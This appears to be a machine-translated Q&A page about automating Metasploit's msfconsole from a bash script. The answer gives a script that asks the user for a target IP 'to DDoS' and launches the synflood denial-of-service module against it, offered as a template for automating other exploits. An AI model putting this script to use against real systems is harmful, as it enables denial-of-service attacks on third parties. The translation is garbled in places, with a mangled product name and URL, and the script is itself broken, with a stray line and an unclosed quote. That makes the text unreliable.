编写脚本以在控制台内运行命令



我正在编写一个脚本以自动化元时间,现在我的脚本正常工作,直到我需要在终端上运行的命令,但是当我尝试运行我必须在内部执行的命令时metasploit控制台脚本停止,直到我手动退出控制台,然后将从下一行恢复。

运行Metasploit时,它会在可以运行命令的终端内打开一个控制台(MSFConsole(。

如何在脚本中添加特定命令以在控制台内运行??

这些是我要运行的命令:

msfconsole (this command starts the metasploit console, this command works fine in the script)
search netapi (This searches the exploit i want to use, now this command is to be entered inside the console which my script cannot do)

之后,所有命令都需要在控制台中输入,控制台看起来像这样:MSF>

我认为您正在寻找类似的东西

    #!/bin/bash
    TARGET
    echo " Choose who to DDoS (IP address ONLY), use nslookup < URL> to get IP address"
    read TARGET
    msfconsole -q -x "use auxiliary/dos/tcp/synflood;set RHOST $TARGET; exploit;

这将启动MSFCONSOLE,使用/DOS/TCP/Synflood Auxiliary并对目标启动DDOS攻击,这是用户的IP地址类型。您可以使用此方案编写其他脚本以自动化元浮动物,只需更改漏洞和变量不要忘记做chmod a x yousercript.sh以允许执行还请看一下:https://www.offensives-security.com/metasploit-unleashed/writing-meterpreter-scripts/

相关内容

  • 没有找到相关文章

最新更新